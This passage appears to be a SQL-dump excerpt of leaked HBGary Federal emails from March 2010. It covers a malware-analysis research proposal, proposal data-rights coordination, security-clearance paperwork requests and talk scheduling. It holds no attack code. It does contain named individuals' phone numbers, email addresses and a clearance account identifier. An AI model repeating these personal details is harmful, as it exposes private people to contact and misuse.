USA\r\n>> \r\n>> 703 938-4499\r\n>> mbt.rbtoth@gmail.com\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> -- \r\n> R.B. Toth Associates\r\n> Oakton, Virginia, USA\r\n> \r\n> 703 938-4499\r\n> mbt.rbtoth@gmail.com\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',14309,'aaron_hbgary_com/14309.html'),(4619,'2010-03-26','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297002724.M792916P3547Q4619.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"porras\" <phillip.porras@sri.com>','Fwd: Re: Text','\r\n>>Increasingly malware employs sophisticated anti-detection and \r\n>>analysis techniques such as; obfuscation, packing, encryption, and \r\n>>modularization.  While conducting malware analysis on running \r\n>>programs alleviates some of the complexity since binaries to run \r\n>>typically need to be complete, unpacked, and unencrypted, their are \r\n>>exceptions and there are techniques used by malware authors to try \r\n>>and protect malware from analysis.  The goal of the research in \r\n>>this phase is to investigate methods used to protect malware from \r\n>>detection and analysis and develop capabilities that allow \r\n>>automated analysis to continue.\r\n\r\n>>We propose to research and develop binary evaluation metrics for \r\n>>the purpose of assessing the quality of the unpacked code.   The \r\n>>post unpacking analysis capability will be delivered as an add-on \r\n>>to the Eureka framework to enable further analysis and \r\n>>classification of malware and will integrate SRI\'s speculative API \r\n>>resolution algorithm to automatically resolve call sites.  We will \r\n>>develop additional criteria that determine the optimal moment for \r\n>>taking a memory snapshot of the running process and recovering the \r\n>>original entry point. We will also investigate novel ways of hiding \r\n>>Eureka from being detected by the running binary to avoid \r\n>>triggering suicide logic and explore snapshot-stitching techniques \r\n>>for dealing with multi-stage packers and block encryption.\r\n\r\n>>As the origin entry point of windows based malware binary is \r\n>>usually not known at the point of unpacking, we will explore and \r\n>>implement novel strategies to uncover the OEP in the captured \r\n>>memory image of the process. We will then automatically rewrite the \r\n>>binary\'s header to set the OEP, rebuild import tables and research \r\n>>automated techniques for informed reconstruction of malware \r\n>>binaries to enable execution in a manner that bypasses environment \r\n>>checks and suicide logic.  The output from static analysis of \r\n>>malware samples will enable guided executions of unpacked binaries.\r\n\r\n>>Lastly, we will research and develop automated ways to recognize \r\n>>obfuscated code, identify various obfuscation steps employed to \r\n>>hinder automated analysis, and systematically employ de-obfuscation \r\n>>to restore the binary to an equivalent but un-obfuscated form. This \r\n>>will inspire new research and development of advanced and automated \r\n>>binary rewriting techniques.\r\n\r\n',10449,'aaron_hbgary_com/10449.html'),(4620,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002725.M249382P3547Q4621.eml','\"Choate, William R (TASC)\" <WILLIAM.CHOATE@tasc.com>','Visit Cert','Hi Bill,\r\n\r\nCould you send a TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.  The purpose is for some technical meetings and discussions.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7941,'aaron_hbgary_com/7941.html'),(4621,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002725.M432689P3547Q4622.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Re: FW: HBGary\'s Data Rights Assertions','\r\n\r\n-------- Original Message --------\r\nSubject: Re: FW: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 13:49:56 -0600\r\nFrom: Ted Vera \r\nTo: Larson, Cindy S. \r\n\r\nDid Russell Wenthold\'s email answer this question for you?\r\n\r\nTed\r\n\r\n\r\n\r\nOn 3/26/10 12:23 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> Did you send GDAIS the attached document?  I cannot locate an email that\r\n> provided this to us.\r\n>  \r\n> Also, I noticed that EUREKA is identified, but it shows SRI making the\r\n> assertion versus HBGary.  \r\n>  \r\n> Please clarify.  Thanks!\r\n>  \r\n> Cindy\r\n> \r\n> ________________________________\r\n> \r\n> From: Wenthold, Russell L. \r\n> Sent: Friday, March 26, 2010 11:18 AM\r\n> To: Larson, Cindy S.\r\n> Subject: RE: HBGary\'s Data Rights Assertions\r\n> \r\n> \r\n> \r\n> Cindy,\r\n> \r\n> Here\'s what we received.  Not sure who sent or who it was sent to.\r\n> \r\n>  \r\n> \r\n> Russ\r\n> \r\n>  \r\n> \r\n> From: Larson, Cindy S. \r\n> Sent: Friday, March 26, 2010 1:14 PM\r\n> To: \'Ted Vera\'\r\n> Cc: Brunelli, Rex; Wenthold, Russell L.; Barr Aaron\r\n> Subject: HBGary\'s Data Rights Assertions\r\n> Importance: High\r\n> \r\n>  \r\n> \r\n> Hi Ted,\r\n> \r\n>  \r\n> \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n> rights assertions.  I haven\'t received the applicable completed Table\r\n> from you that describes the Assertions.  Please refer to my RFP\r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete the\r\n> applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n> Today.\r\n> \r\n>  \r\n> \r\n> I also haven\'t received your proposal cover letter that addresses all\r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked it\r\n> please advise.\r\n> \r\n>  \r\n> \r\n> Thanks,\r\n> \r\n> Cindy\r\n> \r\n>  \r\n> \r\n> \r\n\r\n',10959,'aaron_hbgary_com/10959.html'),(4622,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002725.M54279P3547Q4620.eml','\"Barr Aaron\" <aaron@hbgary.com>','Clearance','Send TS/SCI SI/TK visit request to JPAS acct: 3CX82-3.\r\n',10286,'aaron_hbgary_com/10286.html'),(4623,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002725.M973817P3547Q4623.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: Re: HBGary\'s Data Rights Assertions','\r\n\r\n-------- Original Message --------\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 13:49:01 -0600\r\nFrom: Ted Vera \r\nTo: Larson, Cindy S. \r\n\r\nHi Cindy,\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\nreceived it?\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the\r\ncover letter tab as an embedded word document.  I\'ve attached it to this\r\nemail as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n> rights assertions.  I haven\'t received the applicable completed Table\r\n> from you that describes the Assertions.  Please refer to my RFP\r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete the\r\n> applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n> Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all\r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked it\r\n> please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n> \r\n\r\n\r\n',6857,'aaron_hbgary_com/6857.html'),(4624,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002731.M675200P3547Q4624.eml','\"Ted Vera\" <ted@hbgary.com>','document','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15764,'aaron_hbgary_com/15764.html'),(4625,'2010-03-26','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002731.M990508P3547Q4625.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Proposal','Ah, yes, as I read down further.I think this should be called out early in the document. I&#39;ll include in my review.MikeOn Fri, Mar 26, 2010 at 3:13 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nSorry we are submitting for TA3 Cyber Physiology (basically automated malware analysis for behavior, function, and intent).\r\nAaronOn Mar 26, 2010, at 3:11 PM, MB Toth wrote:Aaron,Just a quick comment based on my initial read.  The Proposal needs to address one TAI:\r\n\r\n\r\n1.1.3 Technical Areas of Interest\r\n\r\nThe proposal should express\r\na consolidated effort in support of one Technical Area of Interest.  Disjointed efforts should not be included\r\ninto a single proposal.  Proposals\r\naddressing more than one Technical Area of Interest in a single proposal may be\r\ndiscarded.\r\n\r\nI do not see Cyber Genetics clearly called out as the TAI for this proposal.  This should be clearly called out.  I&#39;ll include this in my edits, but just wanted to call this out as you all look at the intro documents and conformance.\r\n\r\nMikeOn Fri, Mar 26, 2010 at 2:54 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nSounds good.  Expect to have maybe 1 or 2 more iterations in your box in the next hour or so as I get some last minute content integrated.Aaron\r\n\r\nOn Mar 26, 2010, at 2:50 PM, MB Toth wrote:Got it, I&#39;ll get going on it this afternoon and evening, and try to get a chunk back to you late tonight, with more tomorrow.\r\n\r\nMikeOn Fri, Mar 26, 2010 at 1:52 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nMike,\r\n\r\nhere is what we have so far.\r\n\r\nSome things that don&#39;t exist or are being redone as I write.\r\nIII.D.6 - Being rewritten\r\nIII.D.7 - Being rewritten\r\nIII.E - Being written\r\n\r\nII.C and III.I won&#39;t be done until tomorrow.  Ted is working the cost volume now.\r\n\r\nI will send you updates as I get them in.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',5893,'aaron_hbgary_com/5893.html'),(4626,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002732.M204576P3547Q4626.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Agans\" <agansrc@bragg.army.mil>','Fwd: RE: HBGary\'s Data Rights Assertions','Bob,\r\n\r\nIs it safe to say that what you sent to GD for TA1 IP today is the\r\nlatest and greatest - which supersedes previous versions?\r\n\r\nTed\r\n\r\n\r\n\r\n-------- Original Message --------\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 15:22:04 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\n\r\nHi Ted,\r\n\r\nI do have a question regarding the IP assertions that Bob sent today,\r\n3/26.   In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\ncommercial software (1).  However, what you sent to me today that was\r\nembedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary\r\nResponder Field Edition commercial software (1) on the last line of the\r\nTable.\r\n\r\nWhich is correct?\r\n\r\nI\'ll look over your other information and get back to you.\r\n\r\nRegards,\r\nCindy\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, March 26, 2010 12:49 PM\r\nTo: Larson, Cindy S.\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\n\r\nHi Cindy,\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\nreceived it?\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the\r\ncover letter tab as an embedded word document.  I\'ve attached it to this\r\nemail as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n\r\n> rights assertions.  I haven\'t received the applicable completed Table \r\n> from you that describes the Assertions.  Please refer to my RFP \r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete \r\n> the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n\r\n> Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all \r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked \r\n> it please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n> \r\n\r\n',3896,'aaron_hbgary_com/3896.html'),(4627,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002732.M735276P3547Q4627.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Fwd: RE: HBGary\'s Data Rights Assertions','Bob,\r\n\r\nIs it safe to say that what you sent to GD for TA1 IP today is the\r\nlatest and greatest - which supersedes previous versions?\r\n\r\nTed\r\n\r\n\r\n-------- Original Message --------\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 15:22:04 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\n\r\nHi Ted,\r\n\r\nI do have a question regarding the IP assertions that Bob sent today,\r\n3/26.   In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\ncommercial software (1).  However, what you sent to me today that was\r\nembedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary\r\nResponder Field Edition commercial software (1) on the last line of the\r\nTable.\r\n\r\nWhich is correct?\r\n\r\nI\'ll look over your other information and get back to you.\r\n\r\nRegards,\r\nCindy\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, March 26, 2010 12:49 PM\r\nTo: Larson, Cindy S.\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\n\r\nHi Cindy,\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\nreceived it?\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the\r\ncover letter tab as an embedded word document.  I\'ve attached it to this\r\nemail as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n\r\n> rights assertions.  I haven\'t received the applicable completed Table \r\n> from you that describes the Assertions.  Please refer to my RFP \r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete \r\n> the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n\r\n> Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all \r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked \r\n> it please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n> \r\n\r\n',1281,'aaron_hbgary_com/1281.html'),(4628,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002732.M929692P3547Q4628.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,','Something I noticed','As part of research for this proposal.\r\n\r\nIf you google Behavior based Malware analysis, here is what pops up:\r\nCWSandbox\r\nBitBlaze(Anubis)\r\nSans\r\nSunbelt\r\nSans\r\nMamutu\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5044,'aaron_hbgary_com/5044.html'),(4629,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002733.M156646P3547Q4629.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Bob Agans\" <agansrc@bragg.army.mil>','Re: Fwd: RE: HBGary\'s Data Rights Assertions','OOPS!  I sent this to the wrong Bob.\r\n\r\nHi Wrong Bob, how are you?  As you might be able to tell, Aaron and I\r\nare up to our eyebrows in Proposals...\r\n\r\nHope all is well, please send my hello\'s to Carrie & the boys!\r\nTed\r\n\r\n\r\n\r\nOn 3/26/10 2:25 PM, Ted Vera wrote:\r\n> Bob,\r\n> \r\n> Is it safe to say that what you sent to GD for TA1 IP today is the\r\n> latest and greatest - which supersedes previous versions?\r\n> \r\n> Ted\r\n\r\n',13811,'aaron_hbgary_com/13811.html'),(4630,'2010-03-26','\"Watson, Dale C.\" <Dale.Watson@gd-ais.com>','/aaron@hbgary.com/new/1297002737.M641340P3547Q4630.eml','aaron@hbgary.com','PAR package request for Indian proposal team<GD-AIS PRIVATE>','\r\n\r\n\r\n\r\n\r\nPAR package request for Indian proposal team&lt;GD-AIS PRIVATE&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Mr. Barr,\r\n\r\n&nbsp; You have been selected to support a new effort. Necessary for your participation on this effort, a \'package\' for you needs to be submitted as soon as possible. I need to have your package by March 30th if at all possible. Enclosed are 7-attachments; 1) SF86, 2) SF86A Continuation Sheet, 3) SF86 Relatives Continuation sheet, 4) Authorization To Obtain Consumer (Credit) Report, 5) Classified Program Security Questionnaire, 6) SAP 20, Foreign Relative or Associate Interview form, and 7) SAP 20 Example for Leisure Travel. Your local Personnel Security department should be able to provide a copy of your most recent SF86 to use in filling out this one.\r\n\r\n&nbsp; If you list any Foreign Travel, this customer requires a SAP Format 20 FOREIGN RELATIVE AND ASSOCIATE INTERVIEW. I\'ve attached an example of exactly what the form should look like, provided the statement at the bottom is true for your travel. You would also use additional copies of this form to list any foreign relatives/associate you have. When completed please fax your documents to the 650 966-2248, if you would please contact me before faxing I would appreciate it so I can make sure that your information will not sit on the fax machine in an outside area. If it would be easier you can scan the requested documents and e mail them to me at Dale.Watson@GD-AIS.com. \r\n\r\n\r\n\r\nIf you have any questions, please contact myself (650) 966-2597.\r\n\r\n &lt;&lt;SF86 Revised July 2008.doc&gt;&gt; &nbsp; &lt;&lt;SF 86A Continuation Sheet for Questionnaires 1.doc&gt;&gt; &nbsp; &lt;&lt;SF86 Revised July 2008_Sec 18_Relatives_continuation.xls&gt;&gt;  &lt;&lt;G7185 Authorization To Obtain Consumer (Credit) Report.doc&gt;&gt; &nbsp; &lt;&lt;Classified Program Security Questionaire.pdf&gt;&gt; &nbsp;&nbsp; &lt;&lt;SAP Format 20 Foreign Relative or Associate Interview Word.doc&gt;&gt;  &lt;&lt;SAP Format 20 - Example for Leisure Travel.pdf&gt;&gt; \r\n\r\n\r\n\r\nDale Watson\r\n\r\nContractor Program Security Officer\r\n\r\nGENERAL DYNAMICS\r\n\r\nAdvanced Information Systems, Inc.\r\n\r\n(650) 966-2597\r\n\r\n\r\n\r\nGDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-706. This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12618,'aaron_hbgary_com/12618.html'),(4631,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002741.M771490P3547Q4631.eml','\"Ted Vera\" <ted@hbgary.com>','doc','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11632,'aaron_hbgary_com/11632.html'),(4632,'2010-03-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002742.M100800P3547Q4632.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: RE: HBGary\'s Data Rights Assertions','Yes.  What I sent to GD today is identical to the latest content I gave\r\nAaron for TA3.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Friday, March 26, 2010 4:26 PM\r\nTo: \'Aaron Barr\'; Bob Slapnik\r\nSubject: Fwd: RE: HBGary\'s Data Rights Assertions\r\n\r\nBob,\r\n\r\nIs it safe to say that what you sent to GD for TA1 IP today is the\r\nlatest and greatest - which supersedes previous versions?\r\n\r\nTed\r\n\r\n\r\n-------- Original Message --------\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 15:22:04 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\n\r\nHi Ted,\r\n\r\nI do have a question regarding the IP assertions that Bob sent today,\r\n3/26.   In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\ncommercial software (1).  However, what you sent to me today that was\r\nembedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary\r\nResponder Field Edition commercial software (1) on the last line of the\r\nTable.\r\n\r\nWhich is correct?\r\n\r\nI\'ll look over your other information and get back to you.\r\n\r\nRegards,\r\nCindy\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, March 26, 2010 12:49 PM\r\nTo: Larson, Cindy S.\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\n\r\nHi Cindy,\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\nreceived it?\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the\r\ncover letter tab as an embedded word document.  I\'ve attached it to this\r\nemail as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n\r\n> rights assertions.  I haven\'t received the applicable completed Table \r\n> from you that describes the Assertions.  Please refer to my RFP \r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete \r\n> the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n\r\n> Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all \r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked \r\n> it please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n> \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n',9671,'aaron_hbgary_com/9671.html'),(4633,'2010-03-26','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002745.M996104P3547Q4633.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: PAR package request for Indian proposal team<GD-AIS PRIVATE>','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Watson, Dale C.\" \r\n> Date: March 26, 2010 4:37:34 PM EDT\r\n> To: \r\n> Subject: PAR package request for Indian proposal team\r\n> \r\n> \r\n> Hello Mr. Barr,\r\n> \r\n>   You have been selected to support a new effort. Necessary for your participation on this effort, a \'package\' for you needs to be submitted as soon as possible. I need to have your package by March 30th if at all possible. Enclosed are 7-attachments; 1) SF86, 2) SF86A Continuation Sheet, 3) SF86 Relatives Continuation sheet, 4) Authorization To Obtain Consumer (Credit) Report, 5) Classified Program Security Questionnaire, 6) SAP 20, Foreign Relative or Associate Interview form, and 7) SAP 20 Example for Leisure Travel. Your local Personnel Security department should be able to provide a copy of your most recent SF86 to use in filling out this one.\r\n> \r\n>   If you list any Foreign Travel, this customer requires a SAP Format 20 FOREIGN RELATIVE AND ASSOCIATE INTERVIEW. I\'ve attached an example of exactly what the form should look like, provided the statement at the bottom is true for your travel. You would also use additional copies of this form to list any foreign relatives/associate you have. When completed please fax your documents to the 650 966-2248, if you would please contact me before faxing I would appreciate it so I can make sure that your information will not sit on the fax machine in an outside area. If it would be easier you can scan the requested documents and e mail them to me at Dale.Watson@GD-AIS.com.\r\n> \r\n> \r\n> If you have any questions, please contact myself (650) 966-2597.\r\n> \r\n> >   >   > >   >    > >\r\n> \r\n> \r\n> Dale Watson\r\n> \r\n> Contractor Program Security Officer\r\n> \r\n> GENERAL DYNAMICS\r\n> \r\n> Advanced Information Systems, Inc.\r\n> \r\n> (650) 966-2597\r\n> \r\n> \r\n> GDAIS PRIVATE: The information attached or contained within includes Personal Information under General Dynamics policy CP 07-706. This information can be accessed only by authorized personnel of General Dynamics and its approved service providers and may be used only as permitted by General Dynamics and its policies. Contractual restrictions apply to third parties.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12193,'aaron_hbgary_com/12193.html'),(4634,'2010-03-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002751.M587470P3547Q4634.eml','\"Larson, Cindy S.\" <Cindy.Larson@gd-ais.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fwd: RE: RE: HBGary\'s Data Rights Assertions','Cindy,\r\n\r\nBob\'s content is correct.\r\n\r\nTed\r\n\r\n\r\n-------- Original Message --------\r\nSubject: RE: RE: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 16:39:21 -0400\r\nFrom: Bob Slapnik \r\nTo: \'Ted Vera\' ,	\'Aaron Barr\' \r\n\r\nYes.  What I sent to GD today is identical to the latest content I gave\r\nAaron for TA3.\r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, March 26, 2010 4:26 PM\r\nTo: \'Aaron Barr\'; Bob Slapnik\r\nSubject: Fwd: RE: HBGary\'s Data Rights Assertions\r\n\r\nBob,\r\n\r\nIs it safe to say that what you sent to GD for TA1 IP today is the\r\nlatest and greatest - which supersedes previous versions?\r\n\r\nTed\r\n\r\n\r\n-------- Original Message --------\r\nSubject: RE: HBGary\'s Data Rights Assertions\r\nDate: Fri, 26 Mar 2010 15:22:04 -0500\r\nFrom: Larson, Cindy S. \r\nTo: Ted Vera \r\n\r\nHi Ted,\r\n\r\nI do have a question regarding the IP assertions that Bob sent today,\r\n3/26.   In the Table of Bob\'s email, the last line shows HBGary Recon TM\r\ncommercial software (1).  However, what you sent to me today that was\r\nembedded in the Excel spreadsheet (letter dated 3/17) identifies HBGary\r\nResponder Field Edition commercial software (1) on the last line of the\r\nTable.\r\n\r\nWhich is correct?\r\n\r\nI\'ll look over your other information and get back to you.\r\n\r\nRegards,\r\nCindy\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Friday, March 26, 2010 12:49 PM\r\nTo: Larson, Cindy S.\r\nSubject: Re: HBGary\'s Data Rights Assertions\r\n\r\nHi Cindy,\r\n\r\nI believe Bob Slanpik forwarded the IP data rights assertions.  Have you\r\nreceived it?\r\n\r\nI embedded the proposal cover letter in the cost spreadsheet on the\r\ncover letter tab as an embedded word document.  I\'ve attached it to this\r\nemail as well.\r\n\r\nPlease let me know if you need anything else.\r\n\r\nThanks,\r\nTed\r\n\r\n\r\n\r\n\r\nOn 3/26/10 12:14 PM, Larson, Cindy S. wrote:\r\n> Hi Ted,\r\n>  \r\n> We\'ve had several conversations with your team regarding HBGary\'s data\r\n\r\n> rights assertions.  I haven\'t received the applicable completed Table \r\n> from you that describes the Assertions.  Please refer to my RFP \r\n> Attachment 8, Item 7, 7.1 - 7.4 (I\'ve reattached).  Please complete \r\n> the applicable Table and return to me, Rex Brunelli and Ryan Vela ASAP\r\n\r\n> Today.\r\n>  \r\n> I also haven\'t received your proposal cover letter that addresses all \r\n> other items required by my RFP and Attachment 1.  If I\'ve overlooked \r\n> it please advise.\r\n>  \r\n> Thanks,\r\n> Cindy\r\n>  \r\n> \r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/26/10\r\n03:33:00\r\n\r\n',4618,'aaron_hbgary_com/4618.html'),(4635,'2010-03-26','\"Estell, Timothy W.\" <TIMOTHY.W.ESTELL@saic.com>','/aaron@hbgary.com/new/1297002751.M812161P3547Q4635.eml','aaron@hbgary.com,aaron@hbgary.com,','Aurora Talk at SAIC','Aaron,\r\n\r\nLooks like Dino or EndGames got cold feet. They say they have too much\r\ngoing on to commit Dino to this event.\r\n\r\nSo the stage is yours and you can keep us captivated with the HBGary\r\nresearch into Aurora.\r\n\r\nWe\'ll plan on Tuesday, April 20th at 4 PM.\r\n\r\nCan you provide a one paragraph bio to include in the meeting\r\nannouncement?\r\n\r\nThanks.\r\n\r\nTim.\r\n\r\nTim Estell -- estellt@saic.com\r\n443-367-7558 (Office) 443-562-2039 (Cell) \r\n',8539,'aaron_hbgary_com/8539.html'),(4636,'2010-03-26','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','/aaron@hbgary.com/new/1297002752.M190876P3547Q4636.eml','aaron@hbgary.com,aaron@hbgary.com,','RE: Aurora Talk at SAIC','Aaron,\r\n\r\nI just spoke with our Conference Center coordinator and meeting space is\r\nan issue at 1600 on 20 Apr.\r\n\r\nWe can easily do 1600 on 27 Apr if that works for you.\r\n\r\nWe can also handle 1630 on 20 Apr if 27 Apr doesn\'t work. They need the\r\nextra 30 minutes to reconfigure the room from a previously scheduled\r\nmeeting.\r\n\r\nAlong with your bio, I\'ll also need a paragraph or two abstract of your\r\npresentation to post as part of the announcement.\r\n\r\nScott\r\n\r\n-----Original Message-----\r\nFrom: Estell, Timothy W. \r\nSent: Friday, March 26, 2010 4:56 PM\r\nTo: aaron@hbgary.com\r\nCc: bob@hbgary.com; Sheldon, Scott 